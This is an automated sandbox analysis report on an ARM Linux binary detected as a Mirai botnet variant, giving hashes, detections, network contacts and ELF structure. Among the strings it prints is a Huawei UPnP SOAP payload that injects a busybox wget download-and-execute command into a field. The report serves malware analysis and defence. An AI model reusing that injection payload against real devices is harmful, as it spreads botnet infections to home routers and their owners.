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Linux Analysis Report
sarm6.elf

Overview

General Information

Sample name:sarm6.elf
Analysis ID:1496620
MD5:9316e636358c415a87d50237e4d59b7d
SHA1:f6d3661eeeee5207989753b0e8d72af8b98e292c
SHA256:4dc770cde75461866d98ccc54f95df42d95aff6e02101bec3b74b8195eed9291
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Detected TCP or UDP traffic on non-standard ports
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:40.0.0 Tourmaline
Analysis ID:1496620
Start date and time:2024-08-21 15:22:14 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 26s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:sarm6.elf
Detection:MAL
Classification:mal64.troj.linELF@0/0@2/0
  • VT rate limit hit for: sarm6.elf
Command:/tmp/sarm6.elf
PID:5537
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • sarm6.elf (PID: 5537, Parent: 5461, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/sarm6.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
sarm6.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    5537.1.00007f41bc017000.00007f41bc025000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: sarm6.elfAvira: detected
      Source: sarm6.elfReversingLabs: Detection: 65%
      Source: global trafficTCP traffic: 192.168.2.15:42742 -> 197.7.105.114:37215
      Source: global trafficTCP traffic: 192.168.2.15:38260 -> 197.101.205.94:37215
      Source: global trafficTCP traffic: 192.168.2.15:39186 -> 141.98.10.95:9358
      Source: unknownTCP traffic detected without corresponding DNS query: 197.7.105.114
      Source: unknownTCP traffic detected without corresponding DNS query: 197.101.205.94
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: sarm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
      Source: sarm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
      Source: Initial sampleString containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal64.troj.linELF@0/0@2/0
      Source: /tmp/sarm6.elf (PID: 5537)Queries kernel information via 'uname': Jump to behavior
      Source: sarm6.elf, 5537.1.0000563bbf69a000.0000563bbf7c8000.rw-.sdmpBinary or memory string: ;V!/etc/qemu-binfmt/arm
      Source: sarm6.elf, 5537.1.0000563bbf69a000.0000563bbf7c8000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: sarm6.elf, 5537.1.00007ffc81aff000.00007ffc81b20000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
      Source: sarm6.elf, 5537.1.00007ffc81aff000.00007ffc81b20000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
      Source: sarm6.elf, 5537.1.00007ffc81aff000.00007ffc81b20000.rw-.sdmpBinary or memory string: <x86_64/usr/bin/qemu-arm/tmp/sarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sarm6.elf

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: sarm6.elf, type: SAMPLE
      Source: Yara matchFile source: 5537.1.00007f41bc017000.00007f41bc025000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: sarm6.elf, type: SAMPLE
      Source: Yara matchFile source: 5537.1.00007f41bc017000.00007f41bc025000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Non-Standard Port
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Non-Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive1
      Application Layer Protocol
      Automated ExfiltrationData Encrypted for Impact
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      sarm6.elf66%ReversingLabsLinux.Trojan.Mirai
      sarm6.elf100%AviraEXP/ELF.Mirai.Hua.c
      No Antivirus matches
      No Antivirus matches
      SourceDetectionScannerLabelLink
      http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
      http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe
      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.25
      truefalse
        unknown
        NameSourceMaliciousAntivirus DetectionReputation
        http://schemas.xmlsoap.org/soap/encoding/sarm6.elffalse
        • URL Reputation: safe
        unknown
        http://schemas.xmlsoap.org/soap/envelope/sarm6.elffalse
        • URL Reputation: safe
        unknown
        • No. of IPs < 25%
        • 25% < No. of IPs < 50%
        • 50% < No. of IPs < 75%
        • 75% < No. of IPs
        IPDomainCountryFlagASNASN NameMalicious
        197.101.205.94
        unknownSouth Africa
        3741ISZAfalse
        141.98.10.95
        unknownLithuania
        209605HOSTBALTICLTfalse
        197.7.105.114
        unknownTunisia
        5438ATI-TNfalse
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        141.98.10.951316wjL1Ep.elfGet hashmaliciousUnknownBrowse
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          daisy.ubuntu.comi3LQkjkqOB.elfGet hashmaliciousGafgyt, MiraiBrowse
          • 162.213.35.25
          x86.elfGet hashmaliciousUnknownBrowse
          • 162.213.35.24
          arm7.elfGet hashmaliciousUnknownBrowse
          • 162.213.35.24
          bot.arm.elfGet hashmaliciousMirai, OkiruBrowse
          • 162.213.35.24
          bot.arm6.elfGet hashmaliciousMirai, OkiruBrowse
          • 162.213.35.25
          bot.x86_64.elfGet hashmaliciousMirai, OkiruBrowse
          • 162.213.35.25
          bot.sh4.elfGet hashmaliciousMirai, OkiruBrowse
          • 162.213.35.24
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          • 162.213.35.25
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          • 162.213.35.25
          KKveTTgaAAsecNNaaaa.arc.elfGet hashmaliciousUnknownBrowse
          • 162.213.35.25
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          HOSTBALTICLTTRIAL IMG_00O0125RDER.exeGet hashmaliciousFormBook, GuLoaderBrowse
          • 141.98.10.120
          1316wjL1Ep.elfGet hashmaliciousUnknownBrowse
          • 141.98.10.95
          17213054441f2891f24374c97759e4ac14183d6cfaeabe4240dc8794e61fa899b9e40b62fb429.dat-decoded.exeGet hashmaliciousRemcosBrowse
          • 141.98.10.11
          Demand G2-2024.xlsxGet hashmaliciousFormBookBrowse
          • 141.98.10.47
          171232524570452cfc1123de8b7cabf91834cbebe0e4fd1dae96e0b4418fab427bf67de7f5439.dat-decoded.exeGet hashmaliciousRisePro StealerBrowse
          • 141.98.10.48
          1712325246bbbf6f1de2af242e599680d3f96095835a7a7584ff1f1f967e4c2d3f319cbbe6606.dat-decoded.exeGet hashmaliciousPrivateLoader, RisePro StealerBrowse
          • 141.98.10.48
          171232524570452cfc1123de8b7cabf91834cbebe0e4fd1dae96e0b4418fab427bf67de7f5439.dat-decoded.exeGet hashmaliciousRisePro StealerBrowse
          • 141.98.10.48
          17123252454cee8f5bbeea28bef775c962baa7b486704978d6564a4b4c25e4f526d316c953208.dat-decoded.exeGet hashmaliciousPrivateLoader, RisePro StealerBrowse
          • 141.98.10.48
          ZrSuP005Ar.elfGet hashmaliciousMiraiBrowse
          • 141.98.10.128
          YemL7F22tJ.elfGet hashmaliciousOkiruBrowse
          • 141.98.10.128
          ATI-TNKKveTTgaAAsecNNaaaa.arm.elfGet hashmaliciousUnknownBrowse
          • 102.31.134.9
          nullnet_load.arm.elfGet hashmaliciousMiraiBrowse
          • 197.10.162.16
          nullnet_load.arm7.elfGet hashmaliciousMiraiBrowse
          • 197.10.37.115
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          • 102.26.45.138
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          • 197.5.249.131
          ISZAKKveTTgaAAsecNNaaaa.spc.elfGet hashmaliciousUnknownBrowse
          • 196.38.64.51
          KKveTTgaAAsecNNaaaa.mpsl.elfGet hashmaliciousUnknownBrowse
          • 197.100.120.114
          KKveTTgaAAsecNNaaaa.mips.elfGet hashmaliciousUnknownBrowse
          • 160.123.171.11
          154.216.18.223-mips-2024-08-17T03_44_00.elfGet hashmaliciousMiraiBrowse
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          • 197.102.171.129
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          • 197.96.148.51
          arm6-20240814-0111.elfGet hashmaliciousMiraiBrowse
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          hoho.arm.elfGet hashmaliciousMiraiBrowse
          • 196.212.105.166
          mpsl.elfGet hashmaliciousMiraiBrowse
          • 196.38.40.34
          No context
          No context
          No created / dropped files found
          File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
          Entropy (8bit):6.007722929193623
          TrID:
          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
          File name:sarm6.elf
          File size:58'752 bytes
          MD5:9316e636358c415a87d50237e4d59b7d
          SHA1:f6d3661eeeee5207989753b0e8d72af8b98e292c
          SHA256:4dc770cde75461866d98ccc54f95df42d95aff6e02101bec3b74b8195eed9291
          SHA512:e22a3c6dd33225fd12f2ff7911101823e73e7aad86e93a30bf7301dbfeb8ce1a8d853386d9b142e43ad758719f23357f14086065fd5b3969660f5f152dc17eae
          SSDEEP:1536:NsnSFrZczxXgP45v6M5cQnMxi3BxSJYWR:l1czNU4l66BxSJYm
          TLSH:9543FA46BC918B06C5D4127AFE1E118E33172778E3DF73139E216F24678A96B0E3B916
          File Content Preview:.ELF..............(.....T...4...........4. ...(.....................................................,...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.,.............-.@0....S

          ELF header

          Class:ELF32
          Data:2's complement, little endian
          Version:1 (current)
          Machine:ARM
          Version Number:0x1
          Type:EXEC (Executable file)
          OS/ABI:UNIX - System V
          ABI Version:0
          Entry Point Address:0x8154
          Flags:0x4000002
          ELF Header Size:52
          Program Header Offset:52
          Program Header Size:32
          Number of Program Headers:3
          Section Header Offset:58272
          Section Header Size:40
          Number of Section Headers:12
          Header String Table Index:11
          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
          NULL0x00x00x00x00x0000
          .initPROGBITS0x80940x940x100x00x6AX004
          .textPROGBITS0x80b00xb00xd4c80x00x6AX0016
          .finiPROGBITS0x155780xd5780x100x00x6AX004
          .rodataPROGBITS0x155880xd5880x8840x00x2A004
          .init_arrayINIT_ARRAY0x1e0040xe0080x40x00x3WA004
          .fini_arrayFINI_ARRAY0x1e0080xe00c0x40x00x3WA004
          .gotPROGBITS0x1e0100xe0140x740x40x3WA004
          .dataPROGBITS0x1e0840xe0880x2a80x00x3WA004
          .bssNOBITS0x1e32c0xe3300x53600x00x3WA004
          .ARM.attributesARM_ATTRIBUTES0x00xe3300x100x00x0001
          .shstrtabSTRTAB0x00xe3400x5d0x00x0001
          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
          LOAD0x00x80000x80000xde0c0xde0c6.06490x5R E0x8000.init .text .fini .rodata
          LOAD0xe0040x1e0040x1e0000x32c0xd6883.92040x6RW 0x8000.init_array .fini_array .got .data .bss
          GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
          TimestampSource PortDest PortSource IPDest IP
          Aug 21, 2024 15:22:57.815148115 CEST3721542742197.7.105.114192.168.2.15
          Aug 21, 2024 15:22:57.815170050 CEST3721538260197.101.205.94192.168.2.15
          Aug 21, 2024 15:22:57.815299988 CEST4274237215192.168.2.15197.7.105.114
          Aug 21, 2024 15:22:57.815300941 CEST3826037215192.168.2.15197.101.205.94
          Aug 21, 2024 15:23:29.702883005 CEST935839186141.98.10.95192.168.2.15
          Aug 21, 2024 15:23:29.703387976 CEST391869358192.168.2.15141.98.10.95
          TimestampSource PortDest PortSource IPDest IP
          Aug 21, 2024 15:22:59.571520090 CEST4974953192.168.2.151.1.1.1
          Aug 21, 2024 15:22:59.571569920 CEST5017653192.168.2.151.1.1.1
          Aug 21, 2024 15:22:59.579698086 CEST53501761.1.1.1192.168.2.15
          Aug 21, 2024 15:22:59.581002951 CEST53497491.1.1.1192.168.2.15
          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
          Aug 21, 2024 15:22:59.571520090 CEST192.168.2.151.1.1.10x6cbdStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
          Aug 21, 2024 15:22:59.571569920 CEST192.168.2.151.1.1.10xb5deStandard query (0)daisy.ubuntu.com28IN (0x0001)false
          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
          Aug 21, 2024 15:22:59.581002951 CEST1.1.1.1192.168.2.150x6cbdNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
          Aug 21, 2024 15:22:59.581002951 CEST1.1.1.1192.168.2.150x6cbdNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

          System Behavior

          Start time (UTC):13:22:57
          Start date (UTC):21/08/2024
          Path:/tmp/sarm6.elf
          Arguments:/tmp/sarm6.elf
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1